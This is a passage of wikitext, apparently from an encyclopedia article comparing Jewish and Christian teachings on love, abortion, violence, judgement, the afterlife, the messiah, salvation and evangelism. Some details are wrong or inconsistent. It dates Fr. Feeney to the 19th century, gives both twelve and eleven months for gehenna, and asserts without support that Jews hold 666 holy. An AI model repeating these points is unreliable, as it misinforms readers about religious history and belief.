It cannot be fulfilled in love.  For Rosenzweig, as for the Rabbis, it can be fulfilled only in law.  This is the meaning of revelation: Israel's love for God provides Him with the means to enter the world, and through His commandments to Israel their love enters &quot;the street.&quot;  It is through the revelation of God's commandments, according to Rosenzweig, that the love portrayed in Song of Songs becomes the love commanded in Leviticus.  Just as God's love for the Children of Israel is one of the ways that he extends Himself into the world, the necessary response by the Jews &amp;mdash; the ''way'' to love God in return &amp;mdash; is to extend their own love out towards their fellow human beings. 

This extension of God's love into the world, through the People Israel, is the point of Leviticus 19:18.  According to Bloom, however, this love has a different character than the romantic love celebrated in Song of Songs.  He argues that to understand the commandment to love one's neighbor one must look at the other commandments that form its context, beginning with verse 9:

:When you reap the harvest of your land, you shall not reap all the way to the edges of your field, or gather the gleanings of your harvest. You shall not pick your vineyard bare, or gather the fallen fruit of your vineyard; you shall leave them for the poor and the stranger: I the Lord am your God. 

:You shall not steal; you shall not deal deceitfully or falsely with one another. You shall not swear falsely by My name, profaning the name of your God: I am the Lord.  

:You shall not defraud your neighbor.  You shall not commit robbery.  The wages of a laborer shall not remain with you until morning.  You shall not insult the deaf, or place a stumbling block before the blind.  You shall fear your God: I am the Lord. 

:You shall not render an unfair decision: do not favor the poor or show deference to the rich; judge your neighbor fairly.  Do not deal basely with your fellows.  Do not profit by the blood of your neighbor: I am the Lord.  

:You shall not hate your kinsman in your heart.  Reprove your neighbor, but incur no guilt because of him.  You shall not take vengeance or bear a grudge against your kinsfolk.  Love your neighbor as yourself: I am the Lord.

According to Bloom these accompanying commandments reveal that for Israel, love &quot;in the street&quot; takes the form of &quot;just dealing.&quot; Similarly, theologian William Herberg argued that &quot;justice&quot; is at the heart of the Jewish notion of love, and the foundation for Jewish law: 
:The ultimate criterion of justice, as of everything else in human life, is the divine imperative &amp;mdash; the law of love .... Justice is the institutionalization of love in society .... This law of love requires that every man be treated as a Thou, a person, an end in himself, never merely as a thing or a means to another's end.  When this demand is translated into laws and institutions under the conditions of human life in history, justice arises. (1951: 148)

The arguments of Rosenzweig, Herberg, and Bloom echo the teachings of the [[Rabbinic Judaism|the Rabbis]], who taught that the written and oral [[Torah|Torahs]] provide the way to express this love-as-just-dealing.  This view is encapuslated in one of the most famous rabbinic stories, that of the time a man once challenged [[Hillel the Elder]], an important [[Pharisee]] who lived at the end of the 1st century BCE, to explain the entire law ([[Torah]]) while standing on one foot. Hillel replied, &quot;That which is hateful to you, do not do to your neighbor. That is the whole Torah; the rest is commentary. Go and study it.&quot;  Rosenzweig suggests that Hillel presented the commandment from Leviticus in the negative form (do not do it) as a way of setting up his own, affirmative, commandment: to go and study the law &amp;mdash; in other words, the only way to fulfil Leviticus 19:18 is to observe all the laws of the Torah, the practical embodiment of the commandment to love.  Similarly, [[Maimonides]] wrote that it should only be out of love for God, rather than fear of punishment or hope for reward, that Jews should obey the law: &quot;When man loves God with a love that is fitting he automatically carries out all the precepts of love&quot; (Maimonides ''Yad'' Chapter 10, quoted in Jacobs 1973: 159).

Whereas Jews believe that law is the ultimate fulfilmeent of lova, Christians believe that love is &quot;the fulfillment of the Law&quot; (Romans 13:8-10).  Nevertheless, Jesus shared Hillel's &amp;mdash; and presumably many Jews' &amp;mdash; notion of love and the law, when he echoed the Phariseic position that 
:&quot;Love the Lord your God with all your heart and with all your soul and with all your might.&quot; This is the first and greatest commandment. And the second is like it: &quot;Love your neighbor as yourself.&quot; All the Law and the Prophets hang on these two commandments. (Matthew 22:37-40)

When asked in reference to the latter commandment &quot;And who is my neighbor?&quot; (Luke 10:29), Jesus told the parable of the Good Samaritan (Luke 10:30-37), in which the answer to the question is ultimately a foreigner (perhaps echoing Leviticus 19: 34).

In the [[Sermon on the Mount]], Jesus extended the commandment to include not only &quot;your neighbor&quot; but &quot;your enemy&quot; as well:
:&quot;You have heard that it was said, 'An eye for an eye, and a tooth for a tooth.' But I say to you, do not resist an evil person; but whoever strikes you on your right cheek, turn the other to him also. If anyone wants to sue you and take your shirt, let him have your cloak also. Whoever forces you to go one mile, go with him two. Give to him who asks of you, and do not turn away from him who wants to borrow from you. You have heard that it was said, 'You shall love your neighbor and hate your enemy.' But I say to you, love your enemies and pray for those who persecute you, so that you may be sons of your Father who is in heaven; for He causes His sun to rise on the evil and the good, and sends rain on the righteous and the unrighteous. For if you love those who love you, what reward do you have? Do not even the tax collectors do the same? If you greet only your brothers, what more are you doing than others? Do not even the pagans do the same? Therefore you are to be perfect, as your heavenly Father is perfect. (Matthew 5:38-48)

Jesus lived out this teaching at the end of his life. During his arrest, trial, scourging, and crucifixion, Jesus offered no resistance, totally submitting to his persecutors, however unjust. During Jesus' arrest, one of his desciples struck with a sword the ear of a man coming to seize Jesus, but Jesus commanded him to put away the sword, and healed the ear. (Luke 22:50-51) Jesus even prayed for his persecutors from the cross, calling out &quot;Forgive them Father, for they know not what they do.&quot; (Luke 23:34)

Because of this, Jesus' selfless life of service, and the belief that Jesus died for the salvation of His people, Christian love is personified by Jesus, the supreme example being his martyrdom on the cross. Jesus commanded his desciples to follow his example: &quot;My command is this: Love one another as I have loved you. Greater love has no one than this, that he lay down his life for his friends.&quot; (John 15:12-13) Furthermore, this same love is believed to be shared between the Father, the Son, and all Christians: &quot;Just as the Father has loved Me, I have also loved you; abide in My love. If you keep My commandments, you will abide in My love; just as I have kept My Father's commandments and abide in His love&quot; (John 15:9-10). Finally, Jesus proclaimed love to be the defining characteristic of all Christians: &quot;By this all men will know you are my desciples, if you love one another&quot; (John 13:35).

Still, even more remarkable statements about love are made in the New Testament by the apostle John and by Paul. The most famous, and widely considered one of the earliest and most succinct summaries of the Christian faith, runs &quot;For God so loved the world that He gave his only Son, that whoever believes in Him shall not perish but shall have eternal life&quot; (John 3:16). Adding to this is &quot;God demonstrates his own love for us in this: While we were still sinners, Christ died for us&quot; (Romans 5:8).

In the first epistle of John, he makes the bold statement &quot;God is Love&quot; (1 John 4:8,16). So love is not merely ''a'' characteristic of God, but ''the'' characteristic, which alone sums up God's complete essence.

Bloom argues that the Hebrew word for love, [[ahavah]] אהבה , is fundamentally understood as &quot;just dealing.&quot; In the classic characterization of Christian love, Paul's discourse in [[First Epistle to the Corinthians]], sometimes called the &quot;love chapter,&quot; rather than using either of the two other Greek words that loosely translate to English as &quot;love&quot; ([[eros (love)|erōs]] ερως, meaning erotic love, or [[philos]] φιλος , meaning familial love), Paul used the word [[agape|agápē]] αγαπη, which is probably more literally translated as &quot;charity,&quot; and was first translated as &quot;love&quot; by [[William Tyndale]]:  

:If I speak in the tongues of men and of angels, but have not love, I am only a resounding gong or a clanging cymbal. If I have the gift of prophecy and can fathom all mysteries and all knowledge, and if I have a faith that can move mountains, but have not love, I am nothing. If I give all I possess to the poor and surrender my body to the flames, but have not love, I gain nothing. Love is patient, love is kind. It does not envy, it does not boast, it is not proud. It is not rude, it is not self-seeking, it is not easily angered, it keeps no record of wrongs. Love does not delight in evil but rejoices with the truth. It always protects, always trusts, always hopes, always perseveres. Love never fails. (1 Corinthians 13:1-8) ... And now these three remain: Faith, hope, and love. But the greatest of these is love. (1 Corinthians 13:13)

Taking all this into account, Christian love can generally be described as: unconditional, self-sacrificing, charitable, altruistic, selfless, service-oriented, obedient, humble, peaceful, and compassionate.

The Corinthians passage is not only remarkable for the quality of love it describes. The intent of the passage is clearly to elevate love above other things traditionally considered good, including wisdom, faith, and charitable giving. It also explicitly makes love more important than the things mentioned in the previous passage: supernatural gifts, spiritual strength and positions of leadership. Many assert that this this, combined with Jesus' teachings and John's claims, expands Christian love beyond that in Leviticus. Bloom maintains that the difference is in the character of love.

To summarize, both Judaism and Christianity hold Leviticus 19:18 most sacred. Judaism understands this as &quot;Deal justly with whomever you meet.&quot; Christianity understands this as &quot;Give selflessly to all.&quot;

== Abortion ==

Both Jews and Christians regard pregnancy as a gift from God, and hold children to be miracles.

The only statements in the [[Tanakh]] (Hebrew Bible, Christian Old Testament) about the status of a fetus state that killing an unborn infant does not have the same status as killing a born human being, and mandates a much lesser penalty (a fine); it should be added that the instance cited in the Tanakh contemplates the accidental, rather than the deliberate, causing of an abortion.

The [[Talmud|Oral Law]] states that the fetus is not yet a full human being until it has been born (either the head or the body is mostly outside of the mother), therefore killing a fetus is not murder, and [[abortion]] - in restricted circumstances - has always been legal under Jewish law. [[Rashi]], the great 12th century commentator on the Bible and Talmud, states clearly of the fetus 'lav nefesh hu--it is not a person.' The Talmud contains the expression 'ubar yerech imo--the fetus is as the thigh of its mother,' i.e., the fetus is deemed to be part and parcel of the pregnant woman's body.&quot; Judaism prefers that such abortions, when necessary, take place before the first 40 days where the Babylonian Talmud Yevamot 69b states that: &quot;the embryo is considered to be mere water until the fortieth day.&quot; Afterwards, it is considered subhuman until it is born. Christians who agree with these views may refer to this idea as abortion before the &quot;quickening&quot; of the soul by God in the fetus.

There are two additional passages in the Talmud which shed some light on the Jewish belief about abortion. They imply that the fetus is considered part of the mother, and not a separate entity:

*One section states that if a man purchases a cow that is found to be pregnant, then he is the owner both of the cow and the fetus. 
*Another section states that if a pregnant woman converts to Judaism, that her conversion applies also to her fetus.

Judaism unilaterally supports, in fact mandates, abortion if doctors believe that it is necessary to save the life of the mother.  Many rabbinic authorities allow abortions on the grounds of gross genetic imperfections of the fetus, such as [[Tay-Sachs disease]]. They also allow abortion if the mother were suicidal because of such defects.  However, Judaism holds that abortion is impermissible for family planning or convenience reasons. Each case must be decided individually, however, and the decision should lie with the mother, father, and Rabbi.

Most branches of Christianity have historically held abortion to be generally wrong, referring to [[Old Testament]] passages such as Psalm 139 and Jeremiah 1, as well as [[New Testament]] passages concerning both Jesus and [[John the Baptist]] while they were ''in utero''. Also, the [[Didache]], an early Church document, explicitly forbids abortion along with [[infanticide]], both common practices in the [[Roman Empire]], as murder. The view that abortion is 'equivalent to murder' is not actually widely held outside fundamentalist Protestantism in the United States. The Roman Catholic church, for example, permits medical procedures to be carried out on a mother for the purpose of saving her life, even if doing so would put the foetus at risk. Many Protestant Christians claim that the [[Ten Commandments]] prohibit abortion under the heading of &quot;Do not murder&quot;. Others reject this view, as they hold that the context of the entire set of Biblical laws includes those laws which restrict them to already born human beings.

== War, violence and pacifism ==

Jews and Christians accept as valid and binding many of the same moral principles taught in the [[Torah]]. There is a great deal of overlap between the ethical systems of these two faiths. Nonetheless, there are some highly significant doctrinal differences.

Judaism has a great many teachings about peace and compromise, and its teachings make physical violence the last possible option. Nonetheless, the [[Talmud]] teaches that &quot;If someone comes with the intention to murder you, then one is obligated to kill in self-defense [rather than be killed]&quot;. The clear implication is that to bare one's throat would be tantamount to suicide (which Jewish law forbids) and it would also be considered helping a murderer kill someone and &quot;placing an obstacle in front of a blind man&quot; (making it easier for another person to falter in their ways). The tension between the laws dealing with peace, and the obligation to self-defense, has led to a set of Jewish teachings that have been described as tactical-pacifism. This is the avoidance of force and violence whenever possible, but the use of force when necessary to save the lives of one's self and one's people. 

Under extreme circumstances, although killing oneself is forbidden under normal Jewish law as being a denial of God's goodness in the world, Jews have committed [[suicide]] or mass suicide as a final resort, with religious approval, when there has seemed no choice but to either be killed or forced to betray their religion (see [[Masada]], [[History of the Jews in France#First Persecution of the Jews|First French persecution of the Jews]], and [[York Castle]] for examples). As a grim reminder of those times, there is even a prayer in the Jewish liturgy for &quot;when the knife is at the throat&quot;, for those dying &quot;to sanctify God's Name&quot;. (See: ''[[Martyrdom]]'')

Because Judaism focusses on this life, many questions to do with survival and conflict (such as the classic [[morality|moral]] [[dilemma]] of two people in a desert with only enough water for one to survive) were analysed in great depth by the rabbis within the Talmud, in the attempt to understand the principles a godly person should draw upon in such a circumstance.

The [[Sermon on the Mount]] records that Jesus taught that if someone comes to harm you, then one must [[turn the other cheek]].  This has led four fairly sizable Protestant Christian denominations to develop a theology of [[pacifism]], the avoidance of force and violence at all times. They are known historically as the ''[[peace churches]]'', and have incorporated Christ's teachings on [[Nonviolent resistance|nonviolence]] into their theology so as to apply it to participation in the use of violent force; those denominations are the [[Religious Society of Friends|Quakers]], [[Mennonites]], [[Amish]], and the [[Church of the Brethren]]. Many other churches have people who hold to the doctrine without making it a part of their doctrines, or who apply it to individuals but not to governments. The vast majority of Christian nations and groups have not adopted this theology, nor have they followed it in practice.

==Judgement==

Both Christianity and Judaism believe in some form of judgement.

The Christian view is very well defined - every human is a sinner, and nothing but being saved by God's grace (and not through any merit of ones own actions) can change the damnatory sentence to salvation. There is a [[Last Judgment|judgement after death]], and Christ will return to judge the living and dead. Those positively judged will be saved and live in God's presence in heaven, those who are negatively judged will be cast to eternal hell (or in some versions, annihilated).

Jewish teaching is somewhat ambivalent on Judgement. Initially indeed there was no such concept in Judaism, however over time, and especially as exposed to other cultures' concept that every wrong must be somehow balanced by punishment in the end, and vice versa, a mixture of concepts and philosophies entered Judaism.  At heart though, Jews do not look for an afterlife as a reward or motivation. The reward for a good life is simply the pleasure it gives God, and the rightness of doing ones duty and living a holy life in his ways. Little emphasis is given in Jewish life to the struggle for a place in the afterlife.

That said, in Jewish liturgy there is significant prayer and talk of a &quot;book of life&quot; that one is written into, a metaphorical allusion that God judges each person each year and possibly after death. Many Jewish sages understand this to be metaphorical. For example - one Day of Atonement prayer says it will be decided ''&quot;who will be made strong, and who weak, who will have good health, who poor, who will be at peace and who not at peace... but prayer pentitence and charity avert a stern decree&quot;''. However others translate this to mean, by ones decisions to change oneself (or otherwise), it will become inevitable who will do good and create peace in the coming year, and who will do ill and create lack of peace, and so on.

==Capital punishment==

Although the Jewish bible has many references to capital punishment, in fact very early on, the Jewish sages and rabbis used their authority, and the demands for [[justice]] emphasized in the bible, to make it all but impossible for a Jewish court to impose a death sentence. Even when such a sentence might have been imposed, the &quot;cities of refuge&quot; and other sanctuaries, were at hand for those [[manslaughter|unintentionally guilty]] of capital offences.

In this manner, the Talmud seriously limits the use of the death penalty to only be applicable to those criminals who were warned not to commit a capital crime in the presence of two witnesses, and persisted in committing the crime also in front of at least two witnesses. It was said in the Talmud about the death penalty in Judaism, that if a court killed one person in seventy years, it was a barbarous (or &quot;bloody&quot;) court and should be condemned as such.

Although many people have died as a result of Christian actions, such as the [[crusade]]s, these were not capital punishment as such. In fact, Christianity has usually reserved the death penalty for [[heresy]], the denial of the orthodox view of God's view, and [[witchcraft]] or similar non-Christian practices, which struck at the roots of Christianity as practiced. For example, in [[Spain]], unrepentant Jews were exiled, and it was only those [[Crypto-Judaism|crypto-Jews]] who had accepted [[baptism]] under pressure but retained Jewish customs in private, who were punished in this way. 

At a time when belief in a literal judgement and eternal hell was widespread, capital punishment in this sense was seen as appropriate for two reasons:
:* It kept the faith pure and removed harmful influences that might corrupt or mislead others.
:* It was considered better that a person confessed (by torture if necessary), and was punished and suffered briefly on earth, than that they were punished by eternal damnation in the life after.

== Heaven and Hell ==
Judaism is largely unconcerned with the problem of death or an afterlife; the Biblical book of [[Ecclesiastes]] states that death is final; the place of the dead is called ''sheol,'' which means &quot;the grave.&quot;  Aside from the ghostly apparition of Samuel, called up by a witch at King Saul's command, the Hebrew Bible does not mention an afterlife.  According to critical scholars, Biblical Jews first believed that God always punished evil, but always during a person's life &amp;mdash; or, if the person is repentant, in the life of one of that persons' descendants.  Towards the end of the Biblical period, Jews began questioning whether God's punishments and rewards were always executed during a person's life.  A belief in an afterlife only developed in the Second Temple period, but was contested by various Jewish sects.  The [[Pharisees]] believed that upon death people rested in their graves until they would be physically resurrected with the coming of the messiah (in other words, they did not believe in an eternal soul independent of the body).  The [[Rabbinic Judaism|Rabbis]] adopted this as a core belief, and it is the thirteenth of [[Maimonides|Maimonides']] [[Jewish principles of faith|Thirteen Principles of Faith]].

There is very little Jewish literature on heaven or hell as human destinations.  &quot;Heaven&quot; typically refers to a place where God debates [[Talmuds|Talmudic laws]] with the angels; &quot;hell,&quot; in Hebrew [[Gehenna]], refers to the Valley of Hinnom, southwest of [[Jerusalem]], abhorrent to Jews who believed that it used to be the place where children were sacrificed to [[Moloch]]; in Biblical times it was a garbage dump, and the place to which the [[scapegoat]] was sent on [[Yom Kippur]].

Jewish depictions of heaven as a place where humans go upon death are few, and depict it as a place where Jews spend eternity studying the Written and Oral [[Torah]].

Jewish depictions of hell as a place humans go upon death are even fewer.  According to most depictions, upon death, Jews who have sinned spend twelve miserable months in ''gehenna'' before going to heaven, although some accounts suggest that certain classes of sinners never go to heaven.

In short, Judaism does not have a notion of hell as a place ruled by Satan (God's dominion is total, and Satan is but one of God's angels), and does not have a notion of eternal damnation. The reason sinful Jews spend eleven months in ''gehenna'' is not so much a form of punishment but rather a period of purification necessary before entering heaven, or before being physically resurrected in the Messianic Age.  

Christians in general hold that [[Hell]] is a fiery place of torment that never ceases.  A small minority believe it is not permanent and that those who go there will eventualy be extinguished. Those who hold that it never ceases also believe that those who die go directly to [[Heaven]] or hell, whereas those who see it as transitory believe that the dead are unconscious until the judgment day after which some inherit immortality and live on the restored earth (paradise) and reprobates go for a period of torment in hell. 

Many Christians see heaven and hell as rewards and punishments necessary to motivate good and bad behavior.  Although the [[Pharisees]] and [[Rabbinic Judaism|Rabbis]] believed that good people would be rewarded in a &quot;world to come,&quot; the notion that this promise should motivate good behavior is anathema in Judaism.  Thus, [[Maimonides]] wrote:
:A man should not say: I shall carry out the precepts of the Torah and study her wisdom in order to receive all the blessings written therein or in order to merit the life of the World to Come and I shall keep away from the sins forbidden by the Torah in order to be spared the curses mentioned in the Torah or in order not to be cut off from the life of the World to Come.  It is not proper to serve God in this fashion.  For one sho serves thus serves out of fear.  Such as way is not that of the prophets and sages.  Only the ignorant, and the women and children serve god in this way.  These are trained to serve out of fear until they obtain sufficient knowledge to serve out of love.  One who serves God out of love studies the Torah and practices the precepts and walks in the way of wisdom for no ulterior motive at all, neither out of fear of evil nor in order to acquire the good, but follows the truth because it is true and the good will follow the merit of attaining to it.  It is the stage of Abraham our father whom the Holy One, blessed be He, called &quot;My friend&quot; ([[Isaiah]] 41:8 &amp;ndash; ''ohavi'' = the one who loves me) because he served out of love alone.  It is regarding this stage that the Holy One, Blessed be He, commanded us through Moses, as it is said: &quot;You shall love the Lord your God&quot; ([[Deuteronomy]] 6:5).  When man loves God with a love that is fitting he automatically carries out all the precepts of love.
(Maimonides ''Yad'' Chapter 10, quoted in Jacobs 1973: 159)

== The Messiah ==

Jews believe that a descendant of King [[David]] will one day appear to restore the Kingdom of [[Israel]]. Jews refer to this person as [[Jewish eschatology|Moshiach]], translated as [[messiah]] in English and [[messiah|Christos]] in Greek.  The Hebrew word 'moshiach' (messiah) means 'anointed one,' and refers to a mortal human being.  The ''moshiach'' is held to be a human being who will be a descendant of [[King David]], and who will usher in an era of peace, prosperity, and spiritual understanding for Israel and all the nations of the world. The traditional Jewish understanding of the messiah is fully human, born of human parents, without any supernatural element, and is best elucidated by [[Maimonides]] (Rabbi Moshe ben Maimon), in his commentary on the [[Talmud]]. The messiah is expected to have a relationship with God similar to that of the [[Nevi'im|prophets]] of the [[Tanakh]]. In brief, he holds that the job description, as such, is this: 

:All of the people Israel will come back to Torah; The people of Israel with be gathered back to the land of Israel; The [[Temple in Jerusalem]] will be rebuilt; Israel will live among the nations as an equal, and will be strong enough to defend herself; Eventually, war, hatred and famine will end, and an era of peace and prosperity will come upon the Earth. 

He adds:
:&quot;And if a king shall stand up from among the House of David, studying Torah and indulging in commandments like his father David, according to the written and oral Torah, and he will coerce all Israel to follow it and to strengthen its weak points, and will fight The Lord's wars, this one is to be treated as if he were the anointed one. If he succeeded [and won all nations surrounding him. Old prints and mss.] and built a Holy Temple in its proper place and gathered the strayed ones of Israel together, this is indeed the anointed one for certain, and he will mend the entire world to worship the Lord together ... But if he did not succeed until now, or if he was killed, it becomes known that he is not this one of whom the Torah had promised us, and he is indeed like all [other] proper and wholesome kings of the House of David who died.&quot;

He also clarified the nature of the Messiah:
:&quot;Do not imagine that the anointed King must perform miracles and signs and create new things in the world or resurrect the dead and so on. The matter is not so: For [[Rabbi Akiba]] was a great scholar of the sages of the [[Mishnah]], and he was the assistant-warrior of the king Ben Coziba &lt;nowiki&gt;[&lt;/nowiki&gt;[[Simon bar Kokhba]]&lt;nowiki&gt;]&lt;/nowiki&gt; ... He and all the Sages of his generation deemed him the anointed king, until he was killed by sins; only since he was killed, they knew that he was not. The Sages asked him neither a miracle nor a sign...&quot;  (Main article: ''[[Moshiach]]'')

The Christian view of Jesus goes beyond such claims. Although Jews and Christians both refer to biblical prophecies concerning the coming of the messiah, they interpret them differently. For Christians, the messiah, Jesus Christ, is fully human and fully divine. In this view, Jesus offers salvation to all humans by his self-sacrifice. He is the divine [[Logos|Word of God]] who clothes himself in our humanity, so that human beings can be participants in divine life. Jesus sits in heaven at the right hand of God and will judge humanity by his very presence in the [[end of days]]. The liberation and peace brought by the messiah, in Christian terms, is primarily the result of his manifesting the truth of God in all spheres of life. Prophetic references to the future glory of Jerusalem are not interpreted in merely political or geographical terms, but as indications of the restoration of all creation that his unveiled presence will bring about.

Christian readings of the Hebrew Bible find hundreds of references to Jesus. This takes the form in some cases of specific prophesy, but in most cases of foreshadowing by types or forerunners.  Traditionally, most Christian readings of the Bible maintained that almost every prophecy was actually about the coming of Jesus, if read corectly. In other words, Christianity traditionally has taught that the entire Old Testament of the Bible was a prophecy about the coming of Jesus.

To learn more about the differences between these two concepts, see [[messiah]], [[Jewish messiah]], and [[Jesus]].

=== Catholic views ===

[[Catholicism]] traditionally taught that &quot;[[Extra Ecclesiam Nulla Salus|there is no salvation outside the Church]]&quot;, which some, particularly [[Feenyism|Fr. Feeney]] in the 19th century, interpreted as saying only Catholics can be saved.  However, the Catholic Church's position is a bit more nuanced than that.  The Catholic Church teaches that God's intended way of saving the human race is through the Catholic Church, and there is no source of saving grace which is not already contained within the Church.  It should be noted that in this sense, ''any'' church founded on Peter's rock, may properly be called a &quot;Catholic&quot; Church - Roman Catholic is but one of these though the largest. At the same time, it does not deny the possibility that those not visibly members of the Church may attain salvation as well. Jesus is the path of salvation, and whilst some know they are on that path others can travel the same Way without knowing the name of the street they are on.  In recent times, this teaching has been most notably expressed in the encyclicals [[Singulari Quidem]] (1856), [[Quanto Conficiamur Moerore]] (1863) and [[Dominus Iesus]] (2000). The latter document has taken criticism for claiming that non-Christians are in a &quot;gravely deficient situation&quot; as compared to Catholics.

[[Pope John Paul II]] on [[October 2]] of 2000 emphasized that this document did not say that non-Christians were actively denied salvation: &quot;...this confession does not deny salvation to non-Christians, but points to its ultimate source in Christ, in whom man and God are united&quot;.  The Pope then, on [[December 6]], issued a statement to further emphasize that the Church continued to support its traditional stance that salvation was available to believers of other faiths: &quot;The gospel teaches us that those who live in accordance with the [[Beatitudes]]--the poor in spirit, the pure of heart, those who bear lovingly the sufferings of life--will enter God's kingdom.&quot; He further added, &quot;All who seek God with a sincere heart, including those who do not know Christ and his church, contribute under the influence of Grace to the building of this Kingdom.&quot;  On [[August 13]], [[2002]], [[United States|American]] Catholic bishops issued a joint statement with leaders of [[Reform Judaism|Reform]] and [[Conservative Judaism]], called &quot;Reflections on Covenant and Mission&quot;, which affirmed that Christians should not target Jews for conversion.  The document stated: &quot;Jews already dwell in a saving covenant with God&quot; and &quot;Jews are also called by God to prepare the world for God's Kingdom.&quot; However, some [[United States|U.S.]]-led [[Baptist]] and other [[Christian fundamentalist|fundamentalist]] denominations still believe it is their duty to engage in what they refer to as outreach to &quot;unbelieving&quot; Jews (see [[Jews for Jesus]]).

=== Eastern Orthodox views ===

Eastern Orthodox Christianity emphasizes a continuing life of repentance or ''metanoia'', which includes an increasing improvement in thought, belief and action. Regarding the salvation of Jews, [[Muslims]], and other non-Christians, the Orthodox have traditionally taught the same as the Catholic Church: that there is no salvation outside the church. People of all genders, races, economic and social positions, and so forth are welcome in the church. People of any religion are welcome to convert. Orthodoxy recognizes that other religions may contain truth, to the extent that they are in agreement with Christianity. (Some of the early church fathers pointed to [[Socrates]]' belief in one God; a few more modern Orthodox Christian theologians have found traces of trinitarianism in the writings of [[Laozi]].)

Many Orthodox theologians believe that all people will have an opportunity to embrace union with God, including Jesus, after their death, and so become part of the Church at that time. God is thought to be good, just, and merciful; it would not seem just to condemn someone because they never heard the Gospel message, or were taught a distorted version of the [[Gospel]] by [[heretics]]. Therefore, the reasoning goes, they must at some point have an opportunity to make a genuine informed decision. Ultimately, those who persist in rejecting God condemn themselves, by cutting themselves off from the ultimate source of all Life, and from the God who is Love embodied. Jews, Muslims, and members of other faiths, then, are expected to convert to Christianity in the afterlife. [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] also holds this belief, and holds baptismal services in which righteous people are baptized in behalf of their ancestors who, it is believed, are given the opportunity to accept the ordinance.

=== Jewish views ===

Judaism holds that whatever salvation may exist is found only through good works and heartfelt [[prayer]]. The majority of Jewish works on this subject hold that one's faith or beliefs alone play a minimal role. However, for a contrary Jewish position see [[Maimonides]]'s [[Guide for the Perplexed]], which limits the afterlife only to people who attain a relatively high level of intellectual perfection, thereby allowing the active intellect to be made eternal through God.

Judaism teaches that all gentiles can receive a share in [[Jewish eschatology|&quot;the world to come&quot;]].  This is codified in the Mishna Avot 4:29, the Babylonian [[Talmud]] in tractates Avodah Zarah 10b, and Ketubot 111b, and in [[Maimonides]]'s 12th century law code, the ''[[Mishneh Torah]]'', in ''Hilkhot Melachim'' (Laws of Kings) 8.11.

Judaism has no strong tradition of offenses being punished by eternal damnation (the Hebrew Bible itself has very few references to any afterlife, and the word [[Sheol]] that is often translated as &quot;Hell&quot; is as often as not simply translated as &quot;the grave&quot;).  Some violations (e.g. suicide) would be punished by separation from the community (e.g. not being buried in a Jewish cemetery).

Judaism's view is summed up by a biblical observation about the [[Torah]]: in the beginning God clothes the naked (Adam), and at the end God buries the dead (Moses). The Children of Israel mourned for 40 days - then got on with their lives. No reference is made in the Torah to anything beyond, and this is true even for Moses of whom it is said &quot;nobody has arisen like him, who knew God face to face&quot;.

The Biblical conception of God is that his covenant is with the Jewish people, not individual Jews.  In the context of this covenant, the death of individual Jews is inconsequential and various older Biblical passages suggest that individual death is final.  It is the continued existence of the Jewish nation that is emphasized and the way that a human life should be led.  With the rise of [[Hellenistic]] (Greco-Roman) thinking, and later the rise of Christianity, Jews became more concerned with the problem of individual death and an afterlife. The Pharisees, and then the Rabbis, made it an essential element of their faith that upon the arrival of the messiah the dead shall be resurrected.  This is still a central belief in Orthodox Judaism and to a lesser extent in other branches of Judaism.  Some Christian thinkers have opined that a crucial difference between Jewish and Christian beliefs is that Jews believe it is the body that is resurrected.  The &quot;soul&quot; or &quot;spirit&quot; has no life or meaning independent of a living body. However, Jewish scholars and theologians point to the many aspects of Judaism that affect the &quot;eternal soul&quot; and &quot;the world to come,&quot; indicating that the notion of an afterlife and the concept of post-death award and punishment is indeed deeply ingrained within the Jewish religion.

==Evangelism==

Judaism is not an evangelistic religion. Orthodox Judaism in fact deliberately makes it very difficult to convert and become a Jew, and requires a significant and full-time effort in living, study, righteousness, and conduct over several years. The final decision is by no means a foregone conclusion. A person cannot become Jewish by marrying a Jew, or by joining a synagogue, nor by any degree of involvement in the community or religion, but only by explicitly undertaking (under supervision) a formal and intense work over years aimed towards that goal. Some less strict versions of Judaism have made this process somewhat easier but it is still far from common.

In the distant past Judaism was more evangelistic, but this was still more akin just to &quot;greater openness to converts&quot; (c.f. [[Ruth]]) rather than active soliciting of conversions. Since Jews believe that one need not be a Jew to approach God, there is no religious pressure to convert non-Jews to their faith. See also [[proselyte]].

By contrast, Christianity is an explicitly [[evangelism|evangelical]] religion. Christians are commanded by Jesus to [[Great Commission|&quot;go forth and Baptize all nations&quot;]].  At some times and in certain places joyful evangelism has veered into high-pressure coercion, resulting in at best significant ill-will and at worst human rights abuse.  

This is broadly in line with the distinction made elsewhere that Jewish conversion is more like adoption into a tribe, nation or people, Christian conversion more like a declaration of personal faith.

==Miscellaneous==

* Jews believe that the number [[Number of the Beast (numerology)|666]] is holy and mystical, rather than evil.
* Jews do not believe that deceased [[Saints]] have any power or that they do anything (like miracles) in this world. Nor do they pray to them. At most Jews may go to a [[Tzadik|Tzadik's]] grave to ask one to interceed in heaven on their behalf, but any result is always from God, and the request is not a prayer.

==Mutual views==

In addition to each having varied views on the other as a religion, there has also been a long and often painful [[Christianity and anti-Semitism|history]] of conflict, persecution and at times, reconciliation, between the two religions, which have influenced their mutual views of their relationship over time.

[[Persecution]], [[genocide]] and forcible [[conversion]] of Jews (ie [[hate crime]]) were common for many centuries, with occasional gestures to reconciliation from time to time. [[Pogroms]] were common throughout Christian Europe, including organized violence, restrictive land ownership and professional lives, forcible relocation and [[ghetto]]ization, mandatory dress codes, and at times humiliating actions and [[torture]]. All had major effects on Jewish cultures. 

More recently, even within the last century alone, some Jews remember the [[Holocaust]] and the current wave of [[evangelism]] as yet more reasons to doubt goodwill, while others look to the many peaceful gestures towards harmony since that time, likewise some Christians are at peace and others suspicious of Jews. 

What is clear is that formally, there is mostly peaceful living side by side, with strong inter-dialogue at many levels to [[Christian-Jewish reconciliation|reconcile]] past differences between the two groups, and many Christians emphasize common historical heritage and religious continuity with the ancient spiritual lineage of the Jews. What is also likely is that for a long time to come, some within each will continue to consider the other with varying degrees of suspicion and hostility.

===Common Jewish views of Christianity===

:''Main article: [[Jewish view of Jesus]]''

